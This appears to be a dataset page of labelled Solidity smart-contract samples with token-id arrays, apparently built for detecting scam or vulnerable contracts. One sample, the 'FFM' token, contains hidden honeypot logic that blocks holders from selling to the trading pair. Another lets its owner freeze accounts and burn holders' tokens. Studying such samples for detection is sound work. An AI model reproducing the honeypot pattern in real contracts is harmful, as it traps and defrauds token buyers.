uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))
: "";
}
function setMaxTokensPerWallet(uint8 _maxTokensPerWallet) external onlyOwner {
maxTokensPerWallet = _maxTokensPerWallet;
}
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
function setCost(uint256 _cost) public onlyOwner {
cost = _cost;
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
maxMintAmountPerTx = _maxMintAmountPerTx;
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public onlyOwner {
// This will transfer the remaining contract balance to the owner.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
_tokensMintedPerWallet[msg.sender]++;
_safeMint(_receiver, supply.current());
}
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6185,
1011,
5709,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5890,
1011,
2538,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
24094,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
21183,
12146,
1013,
24094,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
3075,
24094,
1063,
2358,
6820,
6593,
4675,
1063,
1013,
1013,
2023,
8023,
2323,
2196,
2022,
3495,
11570,
2011,
5198,
1997,
1996,
3075,
1024,
10266,
2442,
2022,
7775,
2000,
1013,
1013,
1996,
3075,
1005,
1055,
3853,
1012,
2004,
1997,
5024,
3012,
1058,
2692,
1012,
1019,
1012,
1016,
1010,
2023,
3685,
2022,
16348,
1010,
2295,
2045,
2003,
1037,
6378,
2000,
5587,
1013,
1013,
2023,
3444,
1024,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
4805,
24434,
21318,
3372,
17788,
2575,
1035,
3643,
1025,
1013,
1013,
12398,
1024,
1014,
1065,
3853,
2783,
1006,
4675,
5527,
4675,
1007,
4722,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4675,
1012,
1035,
3643,
1025,
1065,
3853,
4297,
28578,
4765,
1006,
4675,
5527,
4675,
1007,
4722,
1063,
4895,
5403,
18141,
1063,
4675,
1012,
1035,
3643,
1009,
1027,
1015,
1025,
1065,
1065,
3853,
11703,
28578,
4765,
1006,
4675,
5527,
4675,
1007,
4722,
1063,
21318,
3372,
17788,
2575,
3643,
1027,
4675,
1012,
1035,
3643,
1025,
5478,
1006,
3643,
1028,
1014,
1010,
1000,
4675,
1024,
11703,
28578,
4765,
2058,
12314,
1000,
1007,
1025,
4895,
5403,
18141,
1063,
4675,
1012,
1035,
3643,
1027,
3643,
1011,
1015,
1025,
1065,
1065,
3853,
25141,
1006,
4675,
5527,
4675,
1007,
4722,
1063,
4675,
1012,
1035,
3643,
1027,
1014,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
7817,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
21183,
12146,
1013,
7817,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5164,
3136,
1012,
1008,
1013,
3075,
7817,
1063,
27507,
16048,
2797,
5377,
1035,
2002,
2595,
1035,
9255,
1027,
1000,
5890,
21926,
19961,
2575,
2581,
2620,
2683,
7875,
19797,
12879,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
19884,
1037,
1036,
21318,
3372,
17788,
2575,
1036,
2000,
2049,
2004,
6895,
2072,
1036,
5164,
1036,
26066,
6630,
1012,
1008,
1013,
3853,
2000,
3367,
4892,
1006,
21318,
3372,
17788,
2575,
3643,
1007,
4722,
5760,
5651,
1006,
5164,
3638,
1007,
1063,
1013,
1013,
4427,
2011,
2030,
6305,
3669,
4371,
9331,
2072,
1005,
1055,
7375,
1011,
10210,
11172,
1013,
1013,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2030,
6305,
3669,
4371,
1013,
28855,
14820,
1011,
17928,
1013,
1038,
4135,
2497,
1013,
1038,
20958,
16932,
2575,
2497,
2692,
2575,
2509,
2278,
2581,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.21;
contract owned {
address public owner;
function owned() public {owner = msg.sender;}
modifier onlyOwner { require(msg.sender == owner); _;}
function transferOwnership(address newOwner) onlyOwner public {owner = newOwner;}
}
contract EmrCrowdfund is owned {
string public name;
string public symbol;
uint8 public decimals = 8;
uint256 public totalSupply;
uint256 public tokenPrice;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event FrozenFunds(address target, bool frozen);
function EmrCrowdfund(
uint256 initialSupply,
uint256 _tokenPrice,
string tokenName,
string tokenSymbol
) public {
tokenPrice = _tokenPrice / 10 ** uint256(decimals);
totalSupply = initialSupply * 10 ** uint256(decimals);
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/**
* @notice Transfer tokens
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* @notice Destroy tokens from other account
* @param _from the address of the owner
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool success) {
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
/** @notice Allow users to buy tokens for eth
* @param _tokenPrice Price the users can buy
*/
function setPrices(uint256 _tokenPrice) onlyOwner public {
tokenPrice = _tokenPrice;
}
function() payable public{
buy();
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / tokenPrice;
require (totalSupply >= amount);
require(!frozenAccount[msg.sender]);
totalSupply -= amount;
balanceOf[msg.sender] += amount;
emit Transfer(address(0), msg.sender, amount);
}
/**
* @notice Manual transfer for investors who paid from payment cards
* @param _to the address of the receiver
* @param _value the amount of tokens
*/
function manualTransfer(address _to, uint256 _value) public onlyOwner returns (bool success) {
require (totalSupply >= _value);
require(!frozenAccount[_to]);
totalSupply -= _value;
balanceOf[_to] += _value;
emit Transfer(address(0), _to, _value);
return true;
}
/// @notice Withdraw ether to owner account
function withdrawAll() onlyOwner public {
owner.transfer(address(this).balance);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2538,
1025,
3206,
3079,
1063,
4769,
2270,
3954,
1025,
3853,
3079,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2069,
12384,
2121,
2270,
1063,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
3206,
7861,
11890,
10524,
20952,
8630,
2003,
3079,
1063,
5164,
2270,
2171,
1025,
5164,
2270,
6454,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1027,
1022,
1025,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
21318,
3372,
17788,
2575,
2270,
19204,
18098,
6610,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
11253,
1025,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
2270,
7708,
6305,
3597,
16671,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6402,
1006,
4769,
25331,
2013,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
7708,
11263,
18376,
1006,
4769,
4539,
1010,
22017,
2140,
7708,
1007,
1025,
3853,
7861,
11890,
10524,
20952,
8630,
1006,
21318,
3372,
17788,
2575,
20381,
6279,
22086,
1010,
21318,
3372,
17788,
2575,
1035,
19204,
18098,
6610,
1010,
5164,
19204,
18442,
1010,
5164,
19204,
6508,
13344,
2140,
1007,
2270,
1063,
19204,
18098,
6610,
1027,
1035,
19204,
18098,
6610,
1013,
2184,
1008,
1008,
21318,
3372,
17788,
2575,
1006,
26066,
2015,
1007,
1025,
21948,
6279,
22086,
1027,
20381,
6279,
22086,
1008,
2184,
1008,
1008,
21318,
3372,
17788,
2575,
1006,
26066,
2015,
1007,
1025,
2171,
1027,
19204,
18442,
1025,
6454,
1027,
19204,
6508,
13344,
2140,
1025,
1065,
3853,
1035,
4651,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
1035,
3643,
1007,
4722,
1063,
5478,
1006,
1035,
2000,
999,
1027,
1014,
2595,
2692,
1007,
1025,
5478,
1006,
5703,
11253,
1031,
1035,
2013,
1033,
1028,
1027,
1035,
3643,
1007,
1025,
5478,
1006,
5703,
11253,
1031,
1035,
2000,
1033,
1009,
1035,
3643,
1028,
1027,
5703,
11253,
1031,
1035,
2000,
1033,
1007,
1025,
5478,
1006,
999,
7708,
6305,
3597,
16671,
1031,
1035,
2013,
1033,
1007,
1025,
5478,
1006,
999,
7708,
6305,
3597,
16671,
1031,
1035,
2000,
1033,
1007,
1025,
5703,
11253,
1031,
1035,
2013,
1033,
1011,
1027,
1035,
3643,
1025,
5703,
11253,
1031,
1035,
2000,
1033,
1009,
1027,
1035,
3643,
1025,
12495,
2102,
4651,
1006,
1035,
2013,
1010,
1035,
2000,
1010,
1035,
3643,
1007,
1025,
1065,
1013,
1013,
1013,
1030,
5060,
1036,
13184,
1029,
4652,
1064,
3499,
1036,
1036,
4539,
1036,
2013,
6016,
1004,
4909,
19204,
2015,
1013,
1013,
1013,
1030,
11498,
2213,
4539,
4769,
2000,
2022,
7708,
1013,
1013,
1013,
1030,
11498,
2213,
13184,
2593,
2000,
13184,
2009,
2030,
2025,
3853,
13184,
6305,
3597,
16671,
1006,
4769,
4539,
1010,
22017,
2140,
13184,
1007,
2069,
12384,
2121,
2270,
1063,
7708,
6305,
3597,
16671,
1031,
4539,
1033,
1027,
13184,
1025,
12495,
2102,
7708,
11263,
18376,
1006,
4539,
1010,
13184,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
5060,
4651,
19204,
2015,
1008,
1030,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-10-04
*/
/**
*Submitted for verification at arbiscan.io on 2021-09-19
*/
pragma solidity ^0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract BEP20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "FFM";
name = "Floki FrunkpuppyMoon ";
decimals = 0;
_totalSupply = 100000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
contract FFM is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2184,
1011,
5840,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
12098,
18477,
9336,
1012,
22834,
2006,
25682,
1011,
5641,
1011,
2539,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
2459,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
1039,
1027,
1037,
1011,
1038,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
1028,
1014,
1007,
1025,
1039,
1027,
1037,
1013,
1038,
1025,
1065,
1065,
3206,
2022,
2361,
11387,
18447,
2121,
12172,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
19204,
12384,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
5703,
1007,
1025,
3853,
21447,
1006,
4769,
19204,
12384,
2121,
1010,
4769,
5247,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
3588,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
19204,
12384,
2121,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
19204,
2015,
1007,
1025,
1065,
3206,
14300,
5685,
9289,
10270,
8095,
5963,
1063,
3853,
4374,
29098,
12298,
2389,
1006,
4769,
2013,
1010,
21318,
3372,
17788,
2575,
19204,
2015,
1010,
4769,
19204,
1010,
27507,
3638,
2951,
1007,
2270,
1025,
1065,
3206,
3079,
1063,
4769,
2270,
3954,
1025,
4769,
2270,
2047,
12384,
2121,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
1035,
2013,
1010,
4769,
25331,
1035,
2000,
1007,
1025,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
1035,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
1063,
2047,
12384,
2121,
1027,
1035,
2047,
12384,
2121,
1025,
1065,
3853,
5138,
12384,
2545,
5605,
1006,
1007,
2270,
1063,
5478,
1006,
5796,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.